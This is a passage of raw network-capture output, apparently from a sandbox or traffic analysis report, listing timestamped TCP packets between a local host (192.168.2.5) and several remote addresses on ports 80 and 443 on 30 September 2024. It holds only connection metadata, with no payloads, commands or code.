Sep 30, 2024 09:51:13.919531107 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919540882 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919548988 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919573069 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919589996 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919621944 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919631958 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919641972 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919651985 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919660091 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919661999 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919680119 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919697046 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919708967 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919754028 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919802904 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919805050 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919816017 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919823885 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919831991 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919851065 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919862986 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919876099 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919878960 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919888973 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919897079 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.919919014 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.919939995 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950344086 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950391054 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950401068 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950424910 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950452089 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950472116 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950488091 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950499058 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950504065 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950511932 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950515985 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950525045 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950537920 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950556040 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950577974 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950592041 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950602055 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950609922 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950619936 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950628996 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950634003 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950640917 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950650930 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950660944 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950681925 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950686932 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950692892 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950699091 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950712919 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950720072 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950722933 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950735092 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950747967 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950769901 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950792074 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950805902 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950833082 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950841904 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950922966 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950933933 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950942039 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950957060 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950963974 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950968027 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950978041 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950988054 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.950988054 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.950999022 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.951009035 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.951009035 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.951030016 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.951045990 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.951101065 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.951111078 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.951116085 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.951119900 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.951128006 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.951132059 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.951169014 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.951179981 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.993599892 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.993622065 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.993632078 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.993640900 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.993650913 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.993660927 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.993671894 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.993680954 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.993792057 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.008927107 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.008985043 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.008996010 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009010077 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009035110 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009041071 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009088993 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009099960 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009109974 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009119987 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009129047 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009131908 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009140968 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009171963 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009191990 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009202957 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009226084 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009229898 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009243965 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009253979 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009259939 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009264946 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009268045 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009275913 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009279966 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009288073 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009296894 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009299994 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009313107 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009329081 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009330034 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009341002 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009347916 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009360075 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009387970 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009388924 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009401083 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009428978 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009435892 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009438038 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009452105 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009478092 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009488106 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009515047 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009521961 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009561062 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009571075 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009581089 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009591103 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009612083 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009618044 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009618998 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009629965 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009643078 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009650946 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009664059 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009668112 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009679079 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009706020 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009710073 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009723902 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009731054 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009735107 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009747982 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009758949 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009776115 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009848118 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009859085 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009869099 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009892941 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009901047 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009916067 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009939909 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.009943008 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009953976 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.009983063 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010001898 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010030985 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010041952 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010051012 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010061026 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010071039 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010102987 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010129929 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010140896 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010150909 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010164022 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010171890 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010174990 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010191917 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010215998 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010235071 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010278940 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010282040 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010293007 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010323048 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010334969 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010340929 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010351896 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010360956 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010389090 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010410070 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010457039 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010468006 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010478973 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010494947 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010504961 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010504961 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010512114 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010524988 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010531902 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010545015 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010569096 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010592937 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010623932 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010664940 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010688066 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010698080 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010729074 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010801077 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010812044 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010827065 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010837078 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010844946 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010848045 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.010867119 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.010890961 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.041140079 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.041156054 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.041167021 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.041224957 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.041259050 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.041269064 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.041279078 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.041289091 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:14.041306019 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:14.041326046 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:16.279119968 CEST	49708	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:16.279586077 CEST	49710	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:16.284404993 CEST	80	49710	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:16.284492016 CEST	80	49708	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:16.284565926 CEST	49710	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:16.284584045 CEST	49708	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:16.284755945 CEST	49710	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:16.289498091 CEST	80	49710	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:16.959361076 CEST	49711	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:16.965502977 CEST	80	49711	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:16.965606928 CEST	49711	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:16.965960026 CEST	49711	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:16.970738888 CEST	80	49711	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:17.015229940 CEST	80	49710	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:17.015320063 CEST	49710	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:17.665607929 CEST	80	49711	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:17.665724993 CEST	49711	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:17.696890116 CEST	49711	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:17.701781988 CEST	80	49711	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:17.923116922 CEST	80	49711	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:17.923182964 CEST	49711	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:18.171463966 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:18.171684980 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:18.857692957 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:18.857790947 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:18.857897997 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:18.859538078 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:18.859579086 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:19.172123909 CEST	49710	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:19.172559977 CEST	49713	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:19.178754091 CEST	80	49710	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:19.178772926 CEST	80	49713	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:19.178821087 CEST	49710	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:19.178869009 CEST	49713	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:19.179090023 CEST	49713	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:19.185239077 CEST	80	49713	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:19.644726038 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:19.644983053 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:19.648869991 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:19.648885012 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:19.649167061 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:19.699909925 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:19.891370058 CEST	80	49713	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:19.891443014 CEST	49713	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:19.895678997 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:19.896194935 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:19.900490046 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:19.901099920 CEST	80	49715	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:19.901180029 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:19.901500940 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:19.907493114 CEST	80	49715	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:20.620089054 CEST	80	49715	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:20.620099068 CEST	80	49715	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:20.620161057 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:20.620162010 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:20.875581980 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:20.923405886 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134274960 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134293079 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134299994 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134309053 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134336948 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134365082 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:21.134458065 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134504080 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:21.134530067 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:21.134633064 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134696007 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:21.134712934 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.134783983 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:21.136109114 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:21.826814890 CEST	49711	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:21.918252945 CEST	49712	443	192.168.2.5	4.175.87.197
Sep 30, 2024 09:51:21.918323040 CEST	443	49712	4.175.87.197	192.168.2.5
Sep 30, 2024 09:51:22.409209013 CEST	49713	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:22.409539938 CEST	49719	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:22.415808916 CEST	80	49719	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:22.415838957 CEST	80	49713	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:22.415879965 CEST	49719	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:22.415904999 CEST	49713	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:22.422593117 CEST	49719	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:22.428801060 CEST	80	49719	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:23.127078056 CEST	80	49719	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:23.127216101 CEST	49719	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:24.810396910 CEST	49719	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:24.810703039 CEST	49720	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:24.815607071 CEST	80	49720	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:24.815622091 CEST	80	49719	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:24.815718889 CEST	49719	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:24.815727949 CEST	49720	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:24.815999031 CEST	49720	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:24.820791006 CEST	80	49720	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:25.515729904 CEST	80	49720	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:25.516038895 CEST	49720	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:25.621310949 CEST	80	49715	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:25.621398926 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:27.069912910 CEST	49720	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:27.075073004 CEST	80	49720	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:27.075140953 CEST	49720	80	192.168.2.5	185.215.113.43
